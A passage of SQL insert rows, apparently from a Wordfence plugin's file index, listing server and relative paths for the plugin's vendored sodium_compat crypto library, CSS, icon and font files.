(212,'/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/crypto/vendor/paragonie/sodium_compat/lib/namespaced.php','wp-content/plugins/wordfence/crypto/vendor/paragonie/sodium_compat/lib/namespaced.php'),
(213,'/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/crypto/vendor/paragonie/sodium_compat/lib/php72compat.php','wp-content/plugins/wordfence/crypto/vendor/paragonie/sodium_compat/lib/php72compat.php'),
(214,'/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/crypto/vendor/paragonie/sodium_compat/lib/php72compat_const.php','wp-content/plugins/wordfence/crypto/vendor/paragonie/sodium_compat/lib/php72compat_const.php'),
(215,'/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/crypto/vendor/paragonie/sodium_compat/lib/php84compat.php','wp-content/plugins/wordfence/crypto/vendor/paragonie/sodium_compat/lib/php84compat.php'),
(216,'/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/crypto/vendor/paragonie/sodium_compat/lib/php84compat_const.php','wp-content/plugins/wordfence/crypto/vendor/paragonie/sodium_compat/lib/php84compat_const.php'),
(217,'/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/crypto/vendor/paragonie/sodium_compat/lib/ristretto255.php','wp-content/plugins/wordfence/crypto/vendor/paragonie/sodium_compat/lib/ristretto255.php'),
(218,'/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/crypto/vendor/paragonie/sodium_compat/lib/sodium_compat.php','wp-content/plugins/wordfence/crypto/vendor/paragonie/sodium_compat/lib/sodium_compat.php'),
(219,'/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/crypto/vendor/paragonie/sodium_compat/lib/stream-xchacha20.php','wp-content/plugins/wordfence/crypto/vendor/paragonie/sodium_compat/lib/stream-xchacha20.php'),
(220,'/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/crypto/vendor/paragonie/sodium_compat/namespaced/Compat.php','wp-content/plugins/wordfence/crypto/vendor/paragonie/sodium_compat/namespaced/Compat.php'),
(221,'/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/crypto/vendor/paragonie/sodium_compat/namespaced/Core/BLAKE2b.php','wp-content/plugins/wordfence/crypto/vendor/paragonie/sodium_compat/namespaced/Core/BLAKE2b.php'),
(222,'/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/crypto/vendor/paragonie/sodium_compat/namespaced/Core/ChaCha20/Ctx.php','wp-content/plugins/wordfence/crypto/vendor/paragonie/sodium_compat/namespaced/Core/ChaCha20/Ctx.php'),
(223,'/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/crypto/vendor/paragonie/sodium_compat/namespaced/Core/ChaCha20/IetfCtx.php','wp-content/plugins/wordfence/crypto/vendor/paragonie/sodium_compat/namespaced/Core/ChaCha20/IetfCtx.php'),
(224,'/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/crypto/vendor/paragonie/sodium_compat/namespaced/Core/ChaCha20.php','wp-content/plugins/wordfence/crypto/vendor/paragonie/sodium_compat/namespaced/Core/ChaCha20.php'),
(225,'/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/crypto/vendor/paragonie/sodium_compat/namespaced/Core/Curve25519/Fe.php','wp-content/plugins/wordfence/crypto/vendor/paragonie/sodium_compat/namespaced/Core/Curve25519/Fe.php'),
(226,'/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/crypto/vendor/paragonie/sodium_compat/namespaced/Core/Curve25519/Ge/Cached.php','wp-content/plugins/wordfence/crypto/vendor/paragonie/sodium_compat/namespaced/Core/Curve25519/Ge/Cached.php'),
(227,'/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/crypto/vendor/paragonie/sodium_compat/namespaced/Core/Curve25519/Ge/P1p1.php','wp-content/plugins/wordfence/crypto/vendor/paragonie/sodium_compat/namespaced/Core/Curve25519/Ge/P1p1.php'),
(228,'/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/crypto/vendor/paragonie/sodium_compat/namespaced/Core/Curve25519/Ge/P2.php','wp-content/plugins/wordfence/crypto/vendor/paragonie/sodium_compat/namespaced/Core/Curve25519/Ge/P2.php'),
(229,'/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/crypto/vendor/paragonie/sodium_compat/namespaced/Core/Curve25519/Ge/P3.php','wp-content/plugins/wordfence/crypto/vendor/paragonie/sodium_compat/namespaced/Core/Curve25519/Ge/P3.php'),
(230,'/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/crypto/vendor/paragonie/sodium_compat/namespaced/Core/Curve25519/Ge/Precomp.php','wp-content/plugins/wordfence/crypto/vendor/paragonie/sodium_compat/namespaced/Core/Curve25519/Ge/Precomp.php'),
(231,'/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/crypto/vendor/paragonie/sodium_compat/namespaced/Core/Curve25519/H.php','wp-content/plugins/wordfence/crypto/vendor/paragonie/sodium_compat/namespaced/Core/Curve25519/H.php'),
(232,'/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/crypto/vendor/paragonie/sodium_compat/namespaced/Core/Curve25519.php','wp-content/plugins/wordfence/crypto/vendor/paragonie/sodium_compat/namespaced/Core/Curve25519.php'),
(233,'/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/crypto/vendor/paragonie/sodium_compat/namespaced/Core/Ed25519.php','wp-content/plugins/wordfence/crypto/vendor/paragonie/sodium_compat/namespaced/Core/Ed25519.php'),
(234,'/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/crypto/vendor/paragonie/sodium_compat/namespaced/Core/HChaCha20.php','wp-content/plugins/wordfence/crypto/vendor/paragonie/sodium_compat/namespaced/Core/HChaCha20.php'),
(235,'/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/crypto/vendor/paragonie/sodium_compat/namespaced/Core/HSalsa20.php','wp-content/plugins/wordfence/crypto/vendor/paragonie/sodium_compat/namespaced/Core/HSalsa20.php'),
(236,'/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/crypto/vendor/paragonie/sodium_compat/namespaced/Core/Poly1305/State.php','wp-content/plugins/wordfence/crypto/vendor/paragonie/sodium_compat/namespaced/Core/Poly1305/State.php'),
(237,'/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/crypto/vendor/paragonie/sodium_compat/namespaced/Core/Poly1305.php','wp-content/plugins/wordfence/crypto/vendor/paragonie/sodium_compat/namespaced/Core/Poly1305.php'),
(238,'/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/crypto/vendor/paragonie/sodium_compat/namespaced/Core/Salsa20.php','wp-content/plugins/wordfence/crypto/vendor/paragonie/sodium_compat/namespaced/Core/Salsa20.php'),
(239,'/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/crypto/vendor/paragonie/sodium_compat/namespaced/Core/SipHash.php','wp-content/plugins/wordfence/crypto/vendor/paragonie/sodium_compat/namespaced/Core/SipHash.php'),
(240,'/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/crypto/vendor/paragonie/sodium_compat/namespaced/Core/Util.php','wp-content/plugins/wordfence/crypto/vendor/paragonie/sodium_compat/namespaced/Core/Util.php'),
(241,'/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/crypto/vendor/paragonie/sodium_compat/namespaced/Core/X25519.php','wp-content/plugins/wordfence/crypto/vendor/paragonie/sodium_compat/namespaced/Core/X25519.php'),
(242,'/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/crypto/vendor/paragonie/sodium_compat/namespaced/Core/XChaCha20.php','wp-content/plugins/wordfence/crypto/vendor/paragonie/sodium_compat/namespaced/Core/XChaCha20.php'),
(243,'/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/crypto/vendor/paragonie/sodium_compat/namespaced/Core/Xsalsa20.php','wp-content/plugins/wordfence/crypto/vendor/paragonie/sodium_compat/namespaced/Core/Xsalsa20.php'),
(244,'/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/crypto/vendor/paragonie/sodium_compat/namespaced/Crypto.php','wp-content/plugins/wordfence/crypto/vendor/paragonie/sodium_compat/namespaced/Crypto.php'),
(245,'/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/crypto/vendor/paragonie/sodium_compat/namespaced/File.php','wp-content/plugins/wordfence/crypto/vendor/paragonie/sodium_compat/namespaced/File.php'),
(246,'/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/crypto/vendor/paragonie/sodium_compat/src/Compat.php','wp-content/plugins/wordfence/crypto/vendor/paragonie/sodium_compat/src/Compat.php'),
(247,'/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/crypto/vendor/paragonie/sodium_compat/src/Core/AEGIS/State128L.php','wp-content/plugins/wordfence/crypto/vendor/paragonie/sodium_compat/src/Core/AEGIS/State128L.php'),
(248,'/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/crypto/vendor/paragonie/sodium_compat/src/Core/AEGIS/State256.php','wp-content/plugins/wordfence/crypto/vendor/paragonie/sodium_compat/src/Core/AEGIS/State256.php'),
(249,'/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/crypto/vendor/paragonie/sodium_compat/src/Core/AEGIS128L.php','wp-content/plugins/wordfence/crypto/vendor/paragonie/sodium_compat/src/Core/AEGIS128L.php'),
(250,'/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/crypto/vendor/paragonie/sodium_compat/src/Core/AEGIS256.php','wp-content/plugins/wordfence/crypto/vendor/paragonie/sodium_compat/src/Core/AEGIS256.php'),
(251,'/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/crypto/vendor/paragonie/sodium_compat/src/Core/AES/Block.php','wp-content/plugins/wordfence/crypto/vendor/paragonie/sodium_compat/src/Core/AES/Block.php'),
(252,'/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/crypto/vendor/paragonie/sodium_compat/src/Core/AES/Expanded.php','wp-content/plugins/wordfence/crypto/vendor/paragonie/sodium_compat/src/Core/AES/Expanded.php'),
(253,'/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/crypto/vendor/paragonie/sodium_compat/src/Core/AES/KeySchedule.php','wp-content/plugins/wordfence/crypto/vendor/paragonie/sodium_compat/src/Core/AES/KeySchedule.php'),
(254,'/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/crypto/vendor/paragonie/sodium_compat/src/Core/AES.php','wp-content/plugins/wordfence/crypto/vendor/paragonie/sodium_compat/src/Core/AES.php'),
(255,'/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/crypto/vendor/paragonie/sodium_compat/src/Core/BLAKE2b.php','wp-content/plugins/wordfence/crypto/vendor/paragonie/sodium_compat/src/Core/BLAKE2b.php'),
(256,'/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/crypto/vendor/paragonie/sodium_compat/src/Core/Base64/Original.php','wp-content/plugins/wordfence/crypto/vendor/paragonie/sodium_compat/src/Core/Base64/Original.php'),
(257,'/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/crypto/vendor/paragonie/sodium_compat/src/Core/Base64/UrlSafe.php','wp-content/plugins/wordfence/crypto/vendor/paragonie/sodium_compat/src/Core/Base64/UrlSafe.php'),
(258,'/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/crypto/vendor/paragonie/sodium_compat/src/Core/ChaCha20/Ctx.php','wp-content/plugins/wordfence/crypto/vendor/paragonie/sodium_compat/src/Core/ChaCha20/Ctx.php'),
(259,'/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/crypto/vendor/paragonie/sodium_compat/src/Core/ChaCha20/IetfCtx.php','wp-content/plugins/wordfence/crypto/vendor/paragonie/sodium_compat/src/Core/ChaCha20/IetfCtx.php'),
(260,'/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/crypto/vendor/paragonie/sodium_compat/src/Core/ChaCha20.php','wp-content/plugins/wordfence/crypto/vendor/paragonie/sodium_compat/src/Core/ChaCha20.php'),
(261,'/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/crypto/vendor/paragonie/sodium_compat/src/Core/Curve25519/Fe.php','wp-content/plugins/wordfence/crypto/vendor/paragonie/sodium_compat/src/Core/Curve25519/Fe.php'),
(262,'/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/crypto/vendor/paragonie/sodium_compat/src/Core/Curve25519/Ge/Cached.php','wp-content/plugins/wordfence/crypto/vendor/paragonie/sodium_compat/src/Core/Curve25519/Ge/Cached.php'),
(263,'/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/crypto/vendor/paragonie/sodium_compat/src/Core/Curve25519/Ge/P1p1.php','wp-content/plugins/wordfence/crypto/vendor/paragonie/sodium_compat/src/Core/Curve25519/Ge/P1p1.php'),
(264,'/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/crypto/vendor/paragonie/sodium_compat/src/Core/Curve25519/Ge/P2.php','wp-content/plugins/wordfence/crypto/vendor/paragonie/sodium_compat/src/Core/Curve25519/Ge/P2.php'),
(265,'/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/crypto/vendor/paragonie/sodium_compat/src/Core/Curve25519/Ge/P3.php','wp-content/plugins/wordfence/crypto/vendor/paragonie/sodium_compat/src/Core/Curve25519/Ge/P3.php'),
(266,'/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/crypto/vendor/paragonie/sodium_compat/src/Core/Curve25519/Ge/Precomp.php','wp-content/plugins/wordfence/crypto/vendor/paragonie/sodium_compat/src/Core/Curve25519/Ge/Precomp.php'),
(267,'/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/crypto/vendor/paragonie/sodium_compat/src/Core/Curve25519/H.php','wp-content/plugins/wordfence/crypto/vendor/paragonie/sodium_compat/src/Core/Curve25519/H.php'),
(268,'/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/crypto/vendor/paragonie/sodium_compat/src/Core/Curve25519.php','wp-content/plugins/wordfence/crypto/vendor/paragonie/sodium_compat/src/Core/Curve25519.php'),
(269,'/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/crypto/vendor/paragonie/sodium_compat/src/Core/Ed25519.php','wp-content/plugins/wordfence/crypto/vendor/paragonie/sodium_compat/src/Core/Ed25519.php'),
(270,'/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/crypto/vendor/paragonie/sodium_compat/src/Core/HChaCha20.php','wp-content/plugins/wordfence/crypto/vendor/paragonie/sodium_compat/src/Core/HChaCha20.php'),
(271,'/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/crypto/vendor/paragonie/sodium_compat/src/Core/HSalsa20.php','wp-content/plugins/wordfence/crypto/vendor/paragonie/sodium_compat/src/Core/HSalsa20.php'),
(272,'/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/crypto/vendor/paragonie/sodium_compat/src/Core/Poly1305/State.php','wp-content/plugins/wordfence/crypto/vendor/paragonie/sodium_compat/src/Core/Poly1305/State.php'),
(273,'/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/crypto/vendor/paragonie/sodium_compat/src/Core/Poly1305.php','wp-content/plugins/wordfence/crypto/vendor/paragonie/sodium_compat/src/Core/Poly1305.php'),
(274,'/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/crypto/vendor/paragonie/sodium_compat/src/Core/Ristretto255.php','wp-content/plugins/wordfence/crypto/vendor/paragonie/sodium_compat/src/Core/Ristretto255.php'),
(275,'/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/crypto/vendor/paragonie/sodium_compat/src/Core/Salsa20.php','wp-content/plugins/wordfence/crypto/vendor/paragonie/sodium_compat/src/Core/Salsa20.php'),
(276,'/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/crypto/vendor/paragonie/sodium_compat/src/Core/SecretStream/State.php','wp-content/plugins/wordfence/crypto/vendor/paragonie/sodium_compat/src/Core/SecretStream/State.php'),
(277,'/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/crypto/vendor/paragonie/sodium_compat/src/Core/SipHash.php','wp-content/plugins/wordfence/crypto/vendor/paragonie/sodium_compat/src/Core/SipHash.php'),
(278,'/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/crypto/vendor/paragonie/sodium_compat/src/Core/Util.php','wp-content/plugins/wordfence/crypto/vendor/paragonie/sodium_compat/src/Core/Util.php'),
(279,'/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/crypto/vendor/paragonie/sodium_compat/src/Core/X25519.php','wp-content/plugins/wordfence/crypto/vendor/paragonie/sodium_compat/src/Core/X25519.php'),
(280,'/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/crypto/vendor/paragonie/sodium_compat/src/Core/XChaCha20.php','wp-content/plugins/wordfence/crypto/vendor/paragonie/sodium_compat/src/Core/XChaCha20.php'),
(281,'/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/crypto/vendor/paragonie/sodium_compat/src/Core/XSalsa20.php','wp-content/plugins/wordfence/crypto/vendor/paragonie/sodium_compat/src/Core/XSalsa20.php'),
(282,'/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/crypto/vendor/paragonie/sodium_compat/src/Core32/BLAKE2b.php','wp-content/plugins/wordfence/crypto/vendor/paragonie/sodium_compat/src/Core32/BLAKE2b.php'),
(283,'/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/crypto/vendor/paragonie/sodium_compat/src/Core32/ChaCha20/Ctx.php','wp-content/plugins/wordfence/crypto/vendor/paragonie/sodium_compat/src/Core32/ChaCha20/Ctx.php'),
(284,'/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/crypto/vendor/paragonie/sodium_compat/src/Core32/ChaCha20/IetfCtx.php','wp-content/plugins/wordfence/crypto/vendor/paragonie/sodium_compat/src/Core32/ChaCha20/IetfCtx.php'),
(285,'/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/crypto/vendor/paragonie/sodium_compat/src/Core32/ChaCha20.php','wp-content/plugins/wordfence/crypto/vendor/paragonie/sodium_compat/src/Core32/ChaCha20.php'),
(286,'/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/crypto/vendor/paragonie/sodium_compat/src/Core32/Curve25519/Fe.php','wp-content/plugins/wordfence/crypto/vendor/paragonie/sodium_compat/src/Core32/Curve25519/Fe.php'),
(287,'/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/crypto/vendor/paragonie/sodium_compat/src/Core32/Curve25519/Ge/Cached.php','wp-content/plugins/wordfence/crypto/vendor/paragonie/sodium_compat/src/Core32/Curve25519/Ge/Cached.php'),
(288,'/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/crypto/vendor/paragonie/sodium_compat/src/Core32/Curve25519/Ge/P1p1.php','wp-content/plugins/wordfence/crypto/vendor/paragonie/sodium_compat/src/Core32/Curve25519/Ge/P1p1.php'),
(289,'/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/crypto/vendor/paragonie/sodium_compat/src/Core32/Curve25519/Ge/P2.php','wp-content/plugins/wordfence/crypto/vendor/paragonie/sodium_compat/src/Core32/Curve25519/Ge/P2.php'),
(290,'/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/crypto/vendor/paragonie/sodium_compat/src/Core32/Curve25519/Ge/P3.php','wp-content/plugins/wordfence/crypto/vendor/paragonie/sodium_compat/src/Core32/Curve25519/Ge/P3.php'),
(291,'/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/crypto/vendor/paragonie/sodium_compat/src/Core32/Curve25519/Ge/Precomp.php','wp-content/plugins/wordfence/crypto/vendor/paragonie/sodium_compat/src/Core32/Curve25519/Ge/Precomp.php'),
(292,'/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/crypto/vendor/paragonie/sodium_compat/src/Core32/Curve25519/H.php','wp-content/plugins/wordfence/crypto/vendor/paragonie/sodium_compat/src/Core32/Curve25519/H.php'),
(293,'/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/crypto/vendor/paragonie/sodium_compat/src/Core32/Curve25519.php','wp-content/plugins/wordfence/crypto/vendor/paragonie/sodium_compat/src/Core32/Curve25519.php'),
(294,'/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/crypto/vendor/paragonie/sodium_compat/src/Core32/Ed25519.php','wp-content/plugins/wordfence/crypto/vendor/paragonie/sodium_compat/src/Core32/Ed25519.php'),
(295,'/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/crypto/vendor/paragonie/sodium_compat/src/Core32/HChaCha20.php','wp-content/plugins/wordfence/crypto/vendor/paragonie/sodium_compat/src/Core32/HChaCha20.php'),
(296,'/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/crypto/vendor/paragonie/sodium_compat/src/Core32/HSalsa20.php','wp-content/plugins/wordfence/crypto/vendor/paragonie/sodium_compat/src/Core32/HSalsa20.php'),
(297,'/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/crypto/vendor/paragonie/sodium_compat/src/Core32/Int32.php','wp-content/plugins/wordfence/crypto/vendor/paragonie/sodium_compat/src/Core32/Int32.php'),
(298,'/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/crypto/vendor/paragonie/sodium_compat/src/Core32/Int64.php','wp-content/plugins/wordfence/crypto/vendor/paragonie/sodium_compat/src/Core32/Int64.php'),
(299,'/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/crypto/vendor/paragonie/sodium_compat/src/Core32/Poly1305/State.php','wp-content/plugins/wordfence/crypto/vendor/paragonie/sodium_compat/src/Core32/Poly1305/State.php'),
(300,'/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/crypto/vendor/paragonie/sodium_compat/src/Core32/Poly1305.php','wp-content/plugins/wordfence/crypto/vendor/paragonie/sodium_compat/src/Core32/Poly1305.php'),
(301,'/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/crypto/vendor/paragonie/sodium_compat/src/Core32/Salsa20.php','wp-content/plugins/wordfence/crypto/vendor/paragonie/sodium_compat/src/Core32/Salsa20.php'),
(302,'/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/crypto/vendor/paragonie/sodium_compat/src/Core32/SecretStream/State.php','wp-content/plugins/wordfence/crypto/vendor/paragonie/sodium_compat/src/Core32/SecretStream/State.php'),
(303,'/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/crypto/vendor/paragonie/sodium_compat/src/Core32/SipHash.php','wp-content/plugins/wordfence/crypto/vendor/paragonie/sodium_compat/src/Core32/SipHash.php'),
(304,'/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/crypto/vendor/paragonie/sodium_compat/src/Core32/Util.php','wp-content/plugins/wordfence/crypto/vendor/paragonie/sodium_compat/src/Core32/Util.php'),
(305,'/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/crypto/vendor/paragonie/sodium_compat/src/Core32/X25519.php','wp-content/plugins/wordfence/crypto/vendor/paragonie/sodium_compat/src/Core32/X25519.php'),
(306,'/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/crypto/vendor/paragonie/sodium_compat/src/Core32/XChaCha20.php','wp-content/plugins/wordfence/crypto/vendor/paragonie/sodium_compat/src/Core32/XChaCha20.php'),
(307,'/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/crypto/vendor/paragonie/sodium_compat/src/Core32/XSalsa20.php','wp-content/plugins/wordfence/crypto/vendor/paragonie/sodium_compat/src/Core32/XSalsa20.php'),
(308,'/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/crypto/vendor/paragonie/sodium_compat/src/Crypto.php','wp-content/plugins/wordfence/crypto/vendor/paragonie/sodium_compat/src/Crypto.php'),
(309,'/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/crypto/vendor/paragonie/sodium_compat/src/Crypto32.php','wp-content/plugins/wordfence/crypto/vendor/paragonie/sodium_compat/src/Crypto32.php'),
(310,'/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/crypto/vendor/paragonie/sodium_compat/src/File.php','wp-content/plugins/wordfence/crypto/vendor/paragonie/sodium_compat/src/File.php'),
(311,'/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/crypto/vendor/paragonie/sodium_compat/src/PHP52/SplFixedArray.php','wp-content/plugins/wordfence/crypto/vendor/paragonie/sodium_compat/src/PHP52/SplFixedArray.php'),
(312,'/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/crypto/vendor/paragonie/sodium_compat/src/SodiumException.php','wp-content/plugins/wordfence/crypto/vendor/paragonie/sodium_compat/src/SodiumException.php'),
(313,'/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/css/activity-report-widget.1788880300.css','wp-content/plugins/wordfence/css/activity-report-widget.1788880300.css'),
(314,'/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/css/diff.1788880300.css','wp-content/plugins/wordfence/css/diff.1788880300.css'),
(315,'/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/css/fullLog.1788880300.css','wp-content/plugins/wordfence/css/fullLog.1788880300.css'),
(316,'/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/css/images/ui-icons_444444_256x240.png','wp-content/plugins/wordfence/css/images/ui-icons_444444_256x240.png'),
(317,'/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/css/images/ui-icons_555555_256x240.png','wp-content/plugins/wordfence/css/images/ui-icons_555555_256x240.png'),
(318,'/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/css/images/ui-icons_777620_256x240.png','wp-content/plugins/wordfence/css/images/ui-icons_777620_256x240.png'),
(319,'/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/css/images/ui-icons_777777_256x240.png','wp-content/plugins/wordfence/css/images/ui-icons_777777_256x240.png'),
(320,'/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/css/images/ui-icons_cc0000_256x240.png','wp-content/plugins/wordfence/css/images/ui-icons_cc0000_256x240.png'),
(321,'/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/css/images/ui-icons_ffffff_256x240.png','wp-content/plugins/wordfence/css/images/ui-icons_ffffff_256x240.png'),
(322,'/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/css/iptraf.1788880300.css','wp-content/plugins/wordfence/css/iptraf.1788880300.css'),
(323,'/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/css/license/care-global.1788880300.css','wp-content/plugins/wordfence/css/license/care-global.1788880300.css'),
(324,'/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/css/license/care.1788880300.css','wp-content/plugins/wordfence/css/license/care.1788880300.css'),
(325,'/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/css/license/free-global.1788880300.css','wp-content/plugins/wordfence/css/license/free-global.1788880300.css'),
(326,'/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/css/license/free.1788880300.css','wp-content/plugins/wordfence/css/license/free.1788880300.css'),
(327,'/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/css/license/premium-global.1788880300.css','wp-content/plugins/wordfence/css/license/premium-global.1788880300.css'),
(328,'/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/css/license/premium.1788880300.css','wp-content/plugins/wordfence/css/license/premium.1788880300.css'),
(329,'/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/css/license/response-global.1788880300.css','wp-content/plugins/wordfence/css/license/response-global.1788880300.css'),
(330,'/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/css/license/response.1788880300.css','wp-content/plugins/wordfence/css/license/response.1788880300.css'),
(331,'/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/css/main.1788880300.css','wp-content/plugins/wordfence/css/main.1788880300.css'),
(332,'/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/css/phpinfo.1788880300.css','wp-content/plugins/wordfence/css/phpinfo.1788880300.css'),
(333,'/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/css/wf-adminbar.1788880300.css','wp-content/plugins/wordfence/css/wf-adminbar.1788880300.css'),
(334,'/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/css/wf-colorbox.1788880300.css','wp-content/plugins/wordfence/css/wf-colorbox.1788880300.css'),
(335,'/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/css/wf-deactivation.1788880300.css','wp-content/plugins/wordfence/css/wf-deactivation.1788880300.css'),
(336,'/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/css/wf-font-awesome.1788880300.css','wp-content/plugins/wordfence/css/wf-font-awesome.1788880300.css'),
(337,'/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/css/wf-global.1788880300.css','wp-content/plugins/wordfence/css/wf-global.1788880300.css'),
(338,'/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/css/wf-ionicons.1788880300.css','wp-content/plugins/wordfence/css/wf-ionicons.1788880300.css'),
(339,'/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/css/wf-onboarding.1788880300.css','wp-content/plugins/wordfence/css/wf-onboarding.1788880300.css'),
(340,'/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/css/wf-roboto-font.1788880300.css','wp-content/plugins/wordfence/css/wf-roboto-font.1788880300.css'),
(341,'/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/css/wordfenceBox.1788880300.css','wp-content/plugins/wordfence/css/wordfenceBox.1788880300.css'),
(342,'/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/fonts/fontawesome-webfont.woff','wp-content/plugins/wordfence/fonts/fontawesome-webfont.woff'),
(343,'/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/fonts/ionicons.woff','wp-content/plugins/wordfence/fonts/ionicons.woff'),
